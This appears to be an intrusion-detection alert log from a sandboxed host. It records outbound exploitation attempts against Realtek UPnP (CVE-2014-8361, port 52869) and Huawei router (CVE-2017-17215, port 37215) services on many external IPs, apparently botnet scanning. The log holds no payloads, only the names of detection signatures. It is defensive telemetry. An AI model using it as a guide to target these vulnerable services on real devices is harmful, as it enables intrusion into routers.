07/20/24-23:01:01.422220	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44736	52869	192.168.2.23	190.124.94.237
07/20/24-23:01:52.972472	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37332	52869	192.168.2.23	132.77.166.224
07/20/24-23:01:31.591880	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50890	52869	192.168.2.23	172.14.168.150
07/20/24-23:00:57.221803	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53230	37215	192.168.2.23	46.47.224.132
07/20/24-23:01:46.340763	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54042	52869	192.168.2.23	165.18.43.140
07/20/24-23:01:53.099889	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38954	52869	192.168.2.23	162.69.127.248
07/20/24-23:01:42.632123	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37554	52869	192.168.2.23	168.18.159.220
07/20/24-23:01:42.390246	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54968	52869	192.168.2.23	189.30.194.82
07/20/24-23:01:08.590754	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56354	52869	192.168.2.23	218.185.172.90
07/20/24-23:01:49.490945	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36502	52869	192.168.2.23	110.15.34.17
07/20/24-23:01:03.948226	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42126	52869	192.168.2.23	223.193.169.99
07/20/24-23:01:47.572503	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46268	52869	192.168.2.23	169.195.139.119
07/20/24-23:01:04.053605	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43318	37215	192.168.2.23	197.9.246.73
07/20/24-23:01:06.989167	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59048	37215	192.168.2.23	41.65.238.83
07/20/24-23:01:12.806024	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47288	52869	192.168.2.23	98.89.247.140
07/20/24-23:01:42.165780	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51498	52869	192.168.2.23	39.181.131.100
07/20/24-23:01:20.161614	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45192	37215	192.168.2.23	124.82.46.132
07/20/24-23:01:55.409249	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58652	52869	192.168.2.23	90.72.98.132
07/20/24-23:02:04.767225	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33734	52869	192.168.2.23	72.182.239.64
07/20/24-23:01:01.164622	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43644	52869	192.168.2.23	199.61.238.254
07/20/24-23:01:48.070705	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34608	52869	192.168.2.23	66.14.7.167
07/20/24-23:02:26.791106	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49314	52869	192.168.2.23	176.235.230.116
07/20/24-23:01:04.426363	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34988	52869	192.168.2.23	172.97.184.195
07/20/24-23:01:04.739839	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44240	52869	192.168.2.23	153.94.71.254
07/20/24-23:01:08.574948	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43308	52869	192.168.2.23	91.33.144.77
07/20/24-23:01:44.274813	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60748	52869	192.168.2.23	43.229.235.45
07/20/24-23:01:24.944299	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38312	37215	192.168.2.23	157.46.123.167
07/20/24-23:02:02.570955	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51478	52869	192.168.2.23	131.116.5.106
07/20/24-23:02:08.084135	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36338	52869	192.168.2.23	82.228.21.159
07/20/24-23:02:06.553447	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59228	52869	192.168.2.23	199.27.212.72
07/20/24-23:01:43.071126	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42976	52869	192.168.2.23	213.170.177.158
07/20/24-23:01:24.883171	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46870	37215	192.168.2.23	41.51.233.253
07/20/24-23:01:45.119426	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53402	52869	192.168.2.23	93.186.61.171
07/20/24-23:02:06.477726	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35428	52869	192.168.2.23	128.140.142.60
07/20/24-23:02:09.321968	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43566	52869	192.168.2.23	206.198.46.124
07/20/24-23:01:49.170008	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60616	52869	192.168.2.23	93.106.207.118
07/20/24-23:01:46.525128	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47322	52869	192.168.2.23	121.163.119.125
07/20/24-23:01:56.400580	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43012	52869	192.168.2.23	201.180.13.92
07/20/24-23:01:40.321964	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46232	37215	192.168.2.23	197.27.250.238
07/20/24-23:01:42.374542	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38602	52869	192.168.2.23	165.86.188.195
07/20/24-23:01:31.981855	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53838	37215	192.168.2.23	8.134.141.9
07/20/24-23:01:42.322405	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59520	52869	192.168.2.23	98.94.65.60
07/20/24-23:01:48.496839	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52330	52869	192.168.2.23	129.68.201.164
07/20/24-23:01:53.746309	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40366	52869	192.168.2.23	105.145.121.113
07/20/24-23:01:45.118041	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59874	52869	192.168.2.23	93.106.207.118
07/20/24-23:01:42.147980	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56000	52869	192.168.2.23	221.157.224.96
07/20/24-23:01:20.110861	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57564	37215	192.168.2.23	41.198.222.41
07/20/24-23:01:42.945748	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54138	52869	192.168.2.23	180.13.32.83
07/20/24-23:01:10.252357	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45926	52869	192.168.2.23	38.189.198.237
07/20/24-23:01:02.333866	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33564	52869	192.168.2.23	54.235.197.43
07/20/24-23:01:31.329969	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47578	52869	192.168.2.23	151.83.163.85
07/20/24-23:01:41.299284	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57818	52869	192.168.2.23	113.55.199.122
07/20/24-23:01:53.267115	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54964	52869	192.168.2.23	97.241.192.98
07/20/24-23:00:57.221921	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49826	37215	192.168.2.23	41.65.251.158
07/20/24-23:01:00.634497	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41366	37215	192.168.2.23	197.37.15.231
07/20/24-23:01:46.359091	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50814	52869	192.168.2.23	206.50.68.232
07/20/24-23:01:46.464448	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44136	52869	192.168.2.23	93.44.110.204
07/20/24-23:01:44.362240	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42968	52869	192.168.2.23	48.223.177.47
07/20/24-23:01:44.466755	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60066	52869	192.168.2.23	153.51.4.30
07/20/24-23:01:47.954400	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53534	52869	192.168.2.23	131.254.60.151
07/20/24-23:01:42.454682	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59644	52869	192.168.2.23	161.210.183.51
07/20/24-23:01:24.898476	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59576	37215	192.168.2.23	132.85.106.74
07/20/24-23:01:24.916250	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60820	37215	192.168.2.23	157.226.98.85
07/20/24-23:01:08.609855	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38658	52869	192.168.2.23	112.103.96.49
07/20/24-23:01:04.034952	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51042	37215	192.168.2.23	197.80.209.101
07/20/24-23:01:41.947663	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40290	52869	192.168.2.23	202.203.199.212
07/20/24-23:01:45.096837	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49762	52869	192.168.2.23	61.169.227.46
07/20/24-23:01:14.117066	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55386	37215	192.168.2.23	219.249.103.135
07/20/24-23:01:40.294677	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43814	37215	192.168.2.23	121.47.221.188
07/20/24-23:01:00.637175	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46764	37215	192.168.2.23	197.247.217.62
07/20/24-23:01:42.740527	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36918	52869	192.168.2.23	35.56.95.76
07/20/24-23:01:46.444817	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54294	52869	192.168.2.23	207.198.69.39
07/20/24-23:01:01.299586	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47142	52869	192.168.2.23	213.46.179.130
07/20/24-23:01:42.943881	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49940	52869	192.168.2.23	177.9.244.61
07/20/24-23:01:02.045640	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49936	37215	192.168.2.23	41.136.199.110
07/20/24-23:01:08.559170	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46372	52869	192.168.2.23	148.117.206.184
07/20/24-23:01:40.321964	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46110	37215	192.168.2.23	157.164.14.81
07/20/24-23:01:43.165438	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51560	52869	192.168.2.23	48.218.79.196
07/20/24-23:01:02.259207	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49352	52869	192.168.2.23	193.7.32.204
07/20/24-23:01:34.050672	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37952	37215	192.168.2.23	197.22.197.144
07/20/24-23:01:06.990165	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46280	37215	192.168.2.23	41.3.17.176
07/20/24-23:01:42.042815	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36920	52869	192.168.2.23	177.147.32.222
07/20/24-23:01:42.880524	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59136	52869	192.168.2.23	85.78.48.17
07/20/24-23:01:49.663162	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33472	52869	192.168.2.23	36.71.23.107
07/20/24-23:01:27.656128	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52098	37215	192.168.2.23	210.252.39.6
07/20/24-23:01:27.749737	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48384	37215	192.168.2.23	41.190.230.210
07/20/24-23:01:49.490945	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59242	52869	192.168.2.23	46.134.86.41
07/20/24-23:01:32.073087	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42264	37215	192.168.2.23	197.100.156.74
07/20/24-23:01:52.819848	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38288	52869	192.168.2.23	154.194.235.253
07/20/24-23:01:45.098864	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42410	52869	192.168.2.23	174.232.185.220
07/20/24-23:01:42.470759	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57332	52869	192.168.2.23	1.167.45.35
07/20/24-23:01:07.075937	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47294	37215	192.168.2.23	43.45.9.49
07/20/24-23:01:41.381812	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53042	52869	192.168.2.23	105.155.204.151
07/20/24-23:01:03.090902	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37696	52869	192.168.2.23	150.171.160.226
07/20/24-23:01:45.925226	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54556	52869	192.168.2.23	53.50.131.136
07/20/24-23:01:02.055683	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34462	37215	192.168.2.23	41.227.37.208
07/20/24-23:01:27.735617	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59152	37215	192.168.2.23	41.36.252.9
07/20/24-23:01:47.024843	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59990	52869	192.168.2.23	170.93.66.190
07/20/24-23:01:44.631925	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34438	52869	192.168.2.23	213.68.164.174
07/20/24-23:01:52.947418	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44360	52869	192.168.2.23	173.232.109.220
07/20/24-23:01:54.914948	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36136	52869	192.168.2.23	191.208.197.76
07/20/24-23:01:00.641803	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47982	37215	192.168.2.23	197.103.118.184
07/20/24-23:01:24.885895	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55438	37215	192.168.2.23	41.201.237.240
07/20/24-23:01:40.286738	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35292	37215	192.168.2.23	99.202.196.168
07/20/24-23:01:44.020551	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46324	52869	192.168.2.23	150.244.130.144
07/20/24-23:01:25.935242	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45436	52869	192.168.2.23	93.61.135.109
07/20/24-23:02:00.056416	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55060	52869	192.168.2.23	171.38.97.128
07/20/24-23:02:02.509837	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38436	52869	192.168.2.23	202.29.220.93
07/20/24-23:01:24.904906	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46448	37215	192.168.2.23	197.5.78.7
07/20/24-23:01:41.341391	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37840	52869	192.168.2.23	35.242.111.156
07/20/24-23:01:01.628217	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38982	52869	192.168.2.23	216.174.225.184
07/20/24-23:01:44.837053	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49994	52869	192.168.2.23	27.31.121.159
07/20/24-23:01:25.763318	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46986	52869	192.168.2.23	158.118.231.218
07/20/24-23:02:00.868779	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54574	52869	192.168.2.23	139.3.200.28
07/20/24-23:01:51.879276	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48450	52869	192.168.2.23	105.221.97.172
07/20/24-23:01:43.123752	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37998	52869	192.168.2.23	200.2.226.98
07/20/24-23:01:04.082384	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58620	37215	192.168.2.23	197.41.17.240
07/20/24-23:01:44.776719	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39014	52869	192.168.2.23	97.80.44.168
07/20/24-23:01:08.957638	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47288	52869	192.168.2.23	84.150.128.0
07/20/24-23:01:27.668073	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60144	37215	192.168.2.23	197.43.247.234
07/20/24-23:01:31.981855	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49558	37215	192.168.2.23	157.215.201.153
07/20/24-23:01:55.802130	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57742	52869	192.168.2.23	32.64.201.235
07/20/24-23:01:02.064358	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53606	37215	192.168.2.23	197.5.169.228
07/20/24-23:01:09.002255	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59450	52869	192.168.2.23	5.1.90.206
07/20/24-23:01:34.045144	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48300	37215	192.168.2.23	197.102.42.235
07/20/24-23:01:53.415663	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56738	52869	192.168.2.23	100.28.35.63
07/20/24-23:01:51.096458	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59468	52869	192.168.2.23	163.50.116.249
07/20/24-23:01:00.651026	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51534	37215	192.168.2.23	157.187.188.100
07/20/24-23:01:25.796791	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57286	52869	192.168.2.23	103.96.50.123
07/20/24-23:01:03.096471	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44870	52869	192.168.2.23	221.226.241.204
07/20/24-23:01:27.654172	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36212	37215	192.168.2.23	197.163.51.90
07/20/24-23:01:44.439012	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50128	52869	192.168.2.23	112.170.166.3
07/20/24-23:01:48.036012	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51362	52869	192.168.2.23	88.132.0.162
07/20/24-23:01:11.820979	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34426	37215	192.168.2.23	197.175.44.160
07/20/24-23:01:48.498136	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53224	52869	192.168.2.23	171.236.184.127
07/20/24-23:01:27.653028	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33226	37215	192.168.2.23	157.147.20.129
07/20/24-23:01:50.176893	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41980	52869	192.168.2.23	67.179.229.220
07/20/24-23:01:53.432917	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38766	52869	192.168.2.23	74.243.121.184
07/20/24-23:01:31.333872	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51986	52869	192.168.2.23	103.227.74.238
07/20/24-23:01:50.246033	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56978	52869	192.168.2.23	130.119.229.116
07/20/24-23:02:05.544188	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42936	52869	192.168.2.23	206.59.132.204
07/20/24-23:01:02.287452	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51150	52869	192.168.2.23	172.32.160.159
07/20/24-23:01:45.261796	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49158	52869	192.168.2.23	102.31.132.7
07/20/24-23:01:40.320408	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51774	37215	192.168.2.23	157.138.76.190
07/20/24-23:02:04.721025	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38956	52869	192.168.2.23	14.187.245.173
07/20/24-23:01:42.616434	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38648	52869	192.168.2.23	97.65.172.105
07/20/24-23:01:31.978141	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60358	37215	192.168.2.23	157.101.195.198
07/20/24-23:01:47.915367	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42506	52869	192.168.2.23	110.244.30.5
07/20/24-23:01:24.943244	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55978	37215	192.168.2.23	41.9.4.247
07/20/24-23:01:42.485253	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58876	52869	192.168.2.23	162.227.232.27
07/20/24-23:01:53.238230	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35440	52869	192.168.2.23	170.211.30.37
07/20/24-23:01:42.943881	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53742	52869	192.168.2.23	171.174.164.32
07/20/24-23:01:43.170156	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40232	52869	192.168.2.23	126.252.220.138
07/20/24-23:01:04.058922	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56668	37215	192.168.2.23	41.51.105.40
07/20/24-23:01:42.527234	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48880	52869	192.168.2.23	71.169.30.84
07/20/24-23:02:08.128674	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51322	52869	192.168.2.23	136.224.18.44
07/20/24-23:00:59.204975	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37938	37215	192.168.2.23	157.210.25.215
07/20/24-23:01:41.533243	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44868	52869	192.168.2.23	78.42.251.42
07/20/24-23:01:13.204741	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52070	52869	192.168.2.23	100.41.144.113
07/20/24-23:01:04.165954	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45156	52869	192.168.2.23	120.98.109.98
07/20/24-23:01:41.205247	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51268	52869	192.168.2.23	8.226.239.105
07/20/24-23:01:44.680845	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46268	52869	192.168.2.23	191.8.175.218
07/20/24-23:01:42.962388	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59576	52869	192.168.2.23	8.18.22.34
07/20/24-23:01:46.319020	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44376	52869	192.168.2.23	161.25.16.6
07/20/24-23:01:58.055687	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33566	52869	192.168.2.23	104.20.213.42
07/20/24-23:01:58.249042	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33212	52869	192.168.2.23	163.245.29.116
07/20/24-23:01:11.827498	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52512	37215	192.168.2.23	92.168.171.93
07/20/24-23:01:20.132103	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32866	37215	192.168.2.23	197.213.39.196
